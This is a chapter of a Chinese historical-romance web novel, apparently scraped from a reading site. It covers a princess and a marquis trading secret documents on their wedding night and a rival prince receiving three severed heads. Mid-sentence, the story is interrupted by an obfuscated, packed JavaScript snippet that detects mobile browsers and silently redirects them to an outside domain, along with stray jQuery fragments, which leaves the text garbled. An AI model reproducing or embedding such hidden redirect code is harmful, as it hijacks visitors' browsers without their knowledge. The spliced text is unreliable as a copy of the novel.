默认冷灰
24号文字
方正启体

22. 第22章

作者:沐水笙本书字数:K更新时间:
    等众人里里外外都布置妥当了,关了门,熄了灯,南笙才抱着腿,坐在床上,低声对花楹道:“看出什么没有?”花楹点点头:“奴婢问了,今夜火势的确不小,连官府的人都惊动了,侯爷此时还在前院陪客呢。


    只是······殿下都未出院门,这侯府的老爷和大夫人好歹也该派人问问,可前前后后,也只有这邱二嫂来帮忙,且还是侯爷派的,似乎太······”


    “是太不把我放在眼里了。”沈轻尘不得照顾的事,也算坐实了。


    南笙又问:“瞧出这邱二嫂有什么了吗?”


    花楹想了想:“既是大夫人派来的,留在侯爷身边,想来也是个盯梢儿的。


    还好咱们王爷让殿下带了不少自己人过来,日后也不必事事都由着她们。”


    “既来之则安之,看样子有人是真不愿意我们成这个婚。”


    “殿下是说,老爷和夫人?”


    “沈轻尘如此有意遮掩,不愿明说,可见有所顾虑,此人性子刚直,若是外人,恐怕早都叫人报官了。”


    正说着,门外传来一阵脚步声


    “侯爷来了?”


    花楹要起身,南笙下意识拉住她:“别走。”


    “大婚当日,奴婢不便再留,殿下,迟早有这一日的。”


    下一秒,屋门被人推开,花楹点起一侧烛火,沈轻尘大半张脸被隐在暗中,看着有些瘆人。


    花楹退了出去,屋内突然静下来。


    南笙抬眼望去,沈轻尘坐在桌前,已换下方才的衣裳,半松着束发,似是刚刚沐浴过。


    “既已拜过天地,殿下不该陪我喝杯合卺酒吗?”


    桌上是丫鬟们重新放置的一应吃食酒水。


    南笙心里还是生疏,又想到他方才近乎鬼魅般的容貌,一时客气道:“此处只你我两人,侯爷不用顾及我,我不介意。”


    沈轻尘不语,独自饮下那杯酒。


    红烛盈室,将他身上的白衣,晕染出一片和柔之色。


    南笙总归是下了床:“你要的东西我带来了,我的呢?”


    沈轻尘这才看了看她,随即摊开手。


    南笙:“我人都已经在这儿了,莫非侯爷还怕我跑了不成?”


    干干净净的脸上,显出一丝意外,只见他坐直身子,从怀里掏出一张泛黄的信纸,南笙去接,又被他躲过。


    “怎么?长乐侯不会连这点小事都办不到,随便拿什么东西糊弄人吧?”


    她脸颊微红,紧抿着唇,因为着急,隔着桌子都能感受到她气息不稳,隐隐攒着一股劲儿,像一只不小心落入陷阱的小豹,随时都有可能跳出来咬人。


    “不知此人与殿下有何干系?”


    “你答应过我不会问的。”


    沈轻尘作罢,乖乖把东西递过去:“不是什么好消息,但的确货真价实,希望殿下也别敷衍我才好。”


    南笙摊开那信,上头密密麻麻写满了文字,略略看过,才知是什么人的口供。


    “你找的宗无咎,的确如你猜测的那样,曾随同南夏使臣前往大齐,不过恰巧遇上劫玉案,之后就不知所踪了。”


    南笙拿着信,整颗心被扯的七上八下。


    宗无咎本是南夏秦王府上一位普普通通的主簿,牙石巷的小院子里,是他教会南笙说第一句话。


    十几年前,南夏欲图收复东北部的失地,北方的寒部自知不敌,便用朝贡的方式与大齐化干戈为玉帛。


    彼时大齐正为旱灾所扰,原本绿荫遍地的西北部草场,早已成了沙丘。寒部便以每年进贡十万头牛羊为代价,劝说大齐停止将培育的良马及裘皮等物售卖给南夏。


    南夏虽有国力,但也知晓上战伐谋的道理。


    且大齐与南夏本就有联姻,大齐侧妃明妃,乃是南夏名副其实的皇室公主。于是,南夏一面派遣使者,前往大齐说和,一面举兵北上,打算一举攻克关口,收回失地。


    秦王奉王命,即日便带着使臣离开,与此同时,宗无咎亦消失得无影无踪。


    前世南笙用尽一切办法,也只知道这些。


    如今拿在手上的口供,不过是大齐几个接待南夏使臣的小吏所述,言辞十分模糊,唯一有用的信息,就是劫玉案事发突然,南夏使臣皆被灭口,而南夏送去的那块青尊古玉,亦不知所踪。


    “此事已过去这么多年,能找回这些东西,已是十分锉磨,殿下若还是执意要找,只怕也是海里捞针,难有收获。”


    南笙闭口不言,默默起身,找来纸笔。


    沈轻尘见她身上婚服不便,很自然地接过她手里的墨条,不过半晌,沈轻尘停住,南笙用笔在纸上写下一行娟秀的小字。


    “裴牧、柯永寿、马耀祖,席泽涛。”沈轻尘念着上头的字,等着南笙解释。


    “这便是青州案后,漠阳、松陵、岷郡、龙城四地,与江湛有过来信的人。”


    “只有这些?”


    南笙:“我只找到这些。”


    “看来江湛说的不错,你的确是个极难琢磨的女人。”


    南笙一愣:“他还说什么?”


    “公主殿下不必担心,你我如今同乘一条船,倘若有人落水,另外一个,当然也不会安稳太久,就算桓王真说过什么,为夫也定然不会放在心上。”


    “如此甚好。不过,还请侯爷别忘了,无论你做什么,这些人都不能连累到桓王府。”


    南笙等了半晌,却不见沈轻尘答应,顿了顿,道:“沈侯爷,我既能从江湛手里拿到这些,自然也知晓你的难处。”


    沈轻尘并不敢轻视任何人,只是觉得她行事诡谲,难以琢磨,虽知她也为求自保,才找上自己,但细细考量,又觉得此事来得太巧,并不合乎自己多年来的直觉判断。


    此刻看她仍有保留,反倒多了几分安心。


    既有在意的东西,必然会有弱点,也就不怕将来若是反目成仇,会无从下手了。


    只见他将那张纸置于红烛之上,一点点看着它烧毁殆尽:“殿下不妨说说,我有何难处?”


    南笙:“不说别的,此时此刻,侯爷不就顶着青州行刺一案,久久脱不了身吗?”


    “殿下知道什么?”


    南笙此时便闭了口,坐在桌前,绕过为新娘准备的合卺酒,转而去拿边儿上的小瓷杯。


    见她不语,沈轻尘只得随之坐下。


    方才盘起的长发在她背脊上散开,有一缕不肯听话,垂落在微微隆起的胸前,紧贴着属于他们的婚服。


    被精心描摹的眉眼,在红烛的印衬下,的确有那么几分动人。


    可沈轻尘无暇顾及这些,而是在想,怎样才能将这个捉摸不透的人,早日为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723482|173943||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己所用。


    “殿下不必忧心,桓王是能臣,又是圣上身边的大红人,谁敢动他?


    何况如今你已是我的妻,我也该随你唤他一声十一叔,我又何苦为难他什么。”


    说着,他拿起那杯合卺酒,端到她面前,等着她去接。


    摇曳的红烛在他眸光中跳跃。


    “来日方长!”


    两人异口同声说出这句话,相望一眼,南笙接过合卺酒,与他一碰,各自饮下。


    ······


    与此同时,魏王府上,此刻还在热闹之中。


    “诸位亲友,我孙寒英九死一生,一路爬到现在,守望相助者有之,落井下石者亦不少,可如今我既入了这栎阳城,受圣上亲封,成了魏王,过去之事,自今以后,一概不提,诸位今日既来捧场,日后便都是我孙寒英的兄弟!这杯酒,我敬诸位!”


    座下之人,无有不尽心竭力欲图攀附高门者,魏王这样的香饽饽,谁能愿意放过,听了这话,各个都是群情激昂,高举尊杯,应和连连。


    魏王正欲再说,一旁有个中年男子匆匆走来,抬手道:“王爷尽兴至此,可也别忘了正经事。”


    孙寒英想推辞,看着那人一脸正经,便顿时没了再热闹的心思:“常伯说的是,时候不早了,是该去陪陪王妃了。”


    同桌的人便开始推搡着要去闹洞房,好一阵热闹,孙寒英才从那些人手下挣脱出来,由侍卫莫笛扶着去了后院。


    刚转过拐角,孙寒英直起身子,揽过莫笛:“那边如何了?沈轻尘那小子应该很惊讶吧,这么大的厚礼,也不知他能不能消受得起?”


    莫笛一时无话,眼神闪躲,好半天才道:“那边儿的火是起来了,但·····但沈轻尘刚刚送了个东西过来······”


    “什么东西?为何不呈上来?”


    “王爷今日醉了,还是明早儿再看吧。”


    孙寒英抬腿就是一脚:“婆婆妈妈的,说,什么东西?”


    莫笛:“我已叫人放在偏殿,王爷若真想看,我这就带你过去。”


    说着,正要去扶孙寒英,怎料反被孙寒英抓着胸襟,一把推开:“滚开!本王自己去。”


    说完,方才还左摇右摆的孙寒英,此刻竟像个没事人一样,大步流星冲向偏殿。


    等见到地上那团东西,孙寒英浑身一凛,只一片刻,便冷静下来,低沉着声音道:“他自己来的?”


    “是他手下的人,方才都已送到大门口了,幸而常伯察觉不对,拦了下来,谁知竟是三颗人头,这大好的日子,真是晦气······刚才人多眼杂,不便处置,我想着等夜里没人了再收拾,就放到这儿了。”


    孙寒英一只手拍在桌上:“沈轻尘······这次算你狠·····”


    莫笛不明白:“王爷前几日还说到了栎阳要小心行事,今日之事,是否太冲动了些?”


    莫笛说着,慢慢低下了头,声音也低了下去。


    “你懂什么,凭我一身的功勋,今日求娶公主的,本该是我才对,他沈轻尘有什么资格跟我争?”


    “可这婚,是桓王做主,求圣上亲赐的,王爷又与傅女史·······”


    孙寒英怒道:“不会说话就闭嘴!”


    莫笛低下头,躬下身来,看着眼前那抹红色,消失在门前。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)